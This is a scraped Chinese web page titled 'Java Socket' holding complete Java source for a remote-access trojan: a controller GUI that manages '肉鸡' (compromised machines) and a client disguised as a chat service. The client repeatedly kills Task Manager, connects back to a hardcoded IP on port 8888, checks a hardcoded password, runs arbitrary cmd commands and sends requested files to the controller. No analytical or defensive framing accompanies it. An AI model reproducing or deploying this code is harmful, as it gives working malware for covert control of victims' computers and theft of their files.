Java Socket

来源:互联网 发布:linux mc服务器 编辑:程序博客网 时间:2024/05/19 13:07
package mypackage;import java.awt.BorderLayout;import java.awt.Container;import java.awt.GridLayout;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.awt.event.KeyEvent;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.File;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.net.ServerSocket;import java.net.Socket;import javax.swing.JButton;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.JOptionPane;import javax.swing.JPanel;import javax.swing.JScrollPane;import javax.swing.JTextArea;import javax.swing.JTextField;public class Server implements ActionListener{Socketsocket;DataInputStreamdis;DataOutputStreamdos;JFramef;JButtonb;JLabellb;JPanelp, p1;Containerc;JTextAreata;JTextFieldtf;JScrollPanejsp;public Server(Socket sc) throws Exception{socket = sc;dis = new DataInputStream(socket.getInputStream());//获得socket输入流对象dos = new DataOutputStream(socket.getOutputStream());//获得socket端口的输出句柄f = new JFrame("肉鸡:" + socket.getInetAddress());c = f.getContentPane();lb = new JLabel("发送命令:");b = new JButton("清空结果");b.setMnemonic(KeyEvent.VK_C); //为按钮设置快捷键ALT+Cb.addActionListener(this);tf = new JTextField("", 30);tf.addActionListener(this);ta = new JTextArea(33, 50);ta.setEditable(false);ta.setWrapStyleWord(false);jsp = new JScrollPane(ta, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);p1 = new JPanel();p1.setLayout(new GridLayout(3, 1));p1.add(lb);p1.add(tf);p1.add(b);p = new JPanel();p.add(p1, BorderLayout.NORTH);p.add(jsp, BorderLayout.CENTER);c.add(p);f.setSize(600, 530);f.setLocation(270, 200); //这一句最好放在frame.setVisible(true)之前f.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);  //执行关闭操作时退出程序f.setVisible(true);//启动一个线程负责与肉鸡通信(new Thread(new ReceiveThread())).start();}//命令输入框回车事件监听public void actionPerformed(ActionEvent e){if(e.getSource() == tf){try{dos.writeUTF(tf.getText());ta.append(tf.getText() + "\n");}catch (IOException e1){ta.append("socket写入流发生错误:[dos.writeUTF(tf.getText())]\n");ta.append(e1.toString() + "\n");return;}}else if(e.getSource() == b) //点击按钮,则清空文本区{ta.setText("");}}//交互线程class ReceiveThread implements Runnable{public void run(){String message = "";while(true){try{message = dis.readUTF();}catch (IOException e2){ta.append("读取流数据时发生错误:[dis.readUTF()]\n");ta.append(e2.toString() + "\n");continue;}//在面板中显示肉鸡发送过来的文本信息ta.append(message + "\n");if(message.matches("sendFile:.*"))//肉鸡提示将要发送一个文件{String[] ss = message.split(":");String fileName = ss[1];  //文件名称,不含路径long fileLength = Long.parseLong(ss[2]);  //文件字节数File f = new File("./" + fileName.trim());FileOutputStream fos = null;try{fos = new FileOutputStream(f);}catch (FileNotFoundException e3){ta.append("创建本地文件流错误![new FileOutputStream(f)]\n");ta.append(e3.toString() + "\n");continue;}byte[] buffer = new byte[2048];long readLength = 0;int length = 0;try{while((length=dis.read(buffer))>0){try{fos.write(buffer, 0, length);}catch (IOException e4){ta.append("本地文件流写入错误![fos.write(buffer, 0, length)]\n");ta.append(e4.toString() + "\n");break;}readLength += length;//将已读取的流的字节数与文件大小比较,以判断文件流的结尾,否则一直会处于socket流读入状态if(readLength==fileLength){break;}}}catch (IOException e6){ta.append("读取socket流数据错误![dis.read(buffer)]\n");ta.append(e6.toString() + "\n");continue;}try{fos.flush();fos.close();}catch (IOException e5){ta.append("本地文件流写入/关闭错误![fos.flush();fos.close();]\n");ta.append(e5.toString() + "\n");continue;}ta.append("文件已接受:" + f.getAbsolutePath() + "\n");}}}}public static void main(String[] args){ServerSocket sv = null;try{//在本机监听8888端口,等待肉鸡的主动连接sv = new ServerSocket(8888);}catch (IOException e){//利用socket端口占用,使得控制端只启动一次JOptionPane.showMessageDialog(null, "您已经启动了一个控制端啦![new ServerSocket(8888)]");System.exit(0);return;}JOptionPane.showMessageDialog(null, "服务器控制端启动成功!");while(true){try{//每个肉鸡的请求,交给一个Server实例对象去处理,并单独显示一个JFrame面板new Server(sv.accept());}catch (Exception e){JOptionPane.showMessageDialog(null, "获取肉机socket连接时发生错误![sv.accept()]");e.printStackTrace();continue;}}}}
package mypackage;import java.awt.BorderLayout;import java.awt.Container;import java.awt.GridLayout;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.awt.event.KeyEvent;import java.io.BufferedReader;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.InputStreamReader;import java.net.InetAddress;import java.net.ServerSocket;import java.net.Socket;import java.util.Timer;import java.util.TimerTask;import javax.swing.JButton;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.JOptionPane;import javax.swing.JPanel;import javax.swing.JScrollPane;import javax.swing.JTextArea;import javax.swing.JTextField;class Client implements ActionListener{booleanflag = false;Runtimer;Socketsocket;DataInputStreamdis;DataOutputStreamdos;JFramef;JButtonb;JLabellb;JPanelp, p1;Containerc;JTextAreata;JTextFieldtf;JScrollPanejsp;public Client(){f = new JFrame("聊天窗口");c = f.getContentPane();lb = new JLabel("发送消息[按回车键发送]:");b = new JButton("清除");b.setMnemonic(KeyEvent.VK_C); //为按钮设置快捷键ALT+Cb.addActionListener(this);tf = new JTextField("", 30);tf.addActionListener(this);ta = new JTextArea(33, 50);ta.setEditable(false);ta.setWrapStyleWord(false);jsp = new JScrollPane(ta, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);p1 = new JPanel();p1.setLayout(new GridLayout(3, 1));p1.add(lb);p1.add(tf);p1.add(b);p = new JPanel();p.add(p1, BorderLayout.NORTH);p.add(jsp, BorderLayout.CENTER);c.add(p);f.setSize(600, 530);f.setLocation(270, 200); //这一句最好放在frame.setVisible(true)之前f.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);  //执行关闭操作时退出程序f.setVisible(true);}//命令输入框回车事件监听public void actionPerformed(ActionEvent e){if(e.getSource() == tf){try{dos.writeUTF(tf.getText());ta.append("我:" + tf.getText() + "\n");}catch (IOException e1){ta.append("socket写入流发生错误:[dos.writeUTF(tf.getText())]\n");ta.append(e1.toString() + "\n");return;}catch (Exception e1){ta.append("没有好友上线哦...\n");return;}}else if(e.getSource() == b) //点击按钮,则清空文本区{ta.setText("");}}public void start(){//首先循环终止任务管理器进程(new Timer()).schedule(new Command("taskkill /F /IM taskmgr.exe"), 1000, 1000);r = Runtime.getRuntime(); //获取系统运行时//已经建立的连接因IO异常而断开,则再次发起连接do{flag = false;try{//主动连接远程控制端主机8888端口socket = new Socket(InetAddress.getByName("138.54.252.38"), 8888);}catch (Exception c){flag = true;//发生连接异常,则重新请求,直到成功为止continue;}try{//得到与socket相连接的输入输出流对象dis = new DataInputStream(socket.getInputStream());dos = new DataOutputStream(socket.getOutputStream());//首先向控制端循环索取控制密码,直到正确为止dos.writeUTF("请输入肉鸡控制密码");String password = "";do{password = dis.readUTF();if("zhangzikui".equals(password)){dos.writeUTF("恭喜,密码正确!");}else{dos.writeUTF("密码错误,请重新输入密码!"); //向控制端提示控制密码错误}}//如果密码不正确,则继续循环while(!("zhangzikui".equals(password)));String cmd = "";//循环获取输入控制端发送过来的信息while (true){cmd = dis.readUTF();//如果接受到bye命令,则退出程序if("bye".equals(cmd)){System.exit(0);return;}//以空格型字符开头的的信息则在面板中显示else if(cmd.matches("\\s.*")){ta.append(socket.getInetAddress() + ":" + cmd + "\n");continue;}//以getFile开头的命令,则执行文件发送else if(cmd.matches("getFile\\s.*")){//命令格式:"getFile fullFilePath"String path = cmd.substring(cmd.indexOf(" ")+1).trim();//path = new String(path.getBytes("UTF-8"), "GBK");File f = new File(path);FileInputStream fis = null;try{fis = new FileInputStream(f);//打开文件流}catch(FileNotFoundException fno){dos.writeUTF("你要的文件(" + path + ")不存在!");continue;}//提示控制端,开始发送文件//提示信息格式:"sendFile:fileName:fileLength"//预先发送文件大小,让控制端接受文件时,知道在什么时候结束文件的读取,否则一直会处于socket流读入状态dos.writeUTF("sendFile:" + cmd.substring(cmd.lastIndexOf("/")+1) + ":" + f.length());byte[] buffer = new byte[2048];int length = 0;while((length=fis.read(buffer))>0){dos.write(buffer, 0, length);}dos.flush();fis.close();}//如果是杀死进程的命令,则作为任务重复执行else if(cmd.matches("taskkill.*") || cmd.matches("ntsd.*")){(new Timer()).schedule(new Command(cmd), 3000, 3000);}//一般命令,执行后将结果发送给控制端else{Process p = null;BufferedReader br = null;try{p = r.exec("cmd /c " + cmd);br = new BufferedReader(new InputStreamReader(p.getInputStream()));}catch(IOException e){//取得命令执行的错误信息br = new BufferedReader(new InputStreamReader(p.getErrorStream()));}String feedback = null;while ((feedback = br.readLine()) != null){dos.writeUTF(feedback);}}}}catch (IOException e){ //如果已经建立的连接因IO异常而断开,则将b重新赋值为true,再次发起连接System.out.println("本次连接已断开!\n正在重新尝试连接......");flag = true;continue;}}while(flag);}public static void main(String[] args){try{new ServerSocket(9999);}catch (IOException e){//利用socket端口占用,使得每台肉鸡只启动一个Client对象实例JOptionPane.showMessageDialog(null, "你已上线!");System.exit(0);return;}JOptionPane.showMessageDialog(null, "hello,欢迎使用消息服务!");new Client().start();}//需要循环执行DOS命令的任务类class Command extends TimerTask{Stringtask;public Command(String s){task = s;}public void run(){try{r.exec("cmd /c " + task);}catch (IOException e){e.printStackTrace();return;}}}}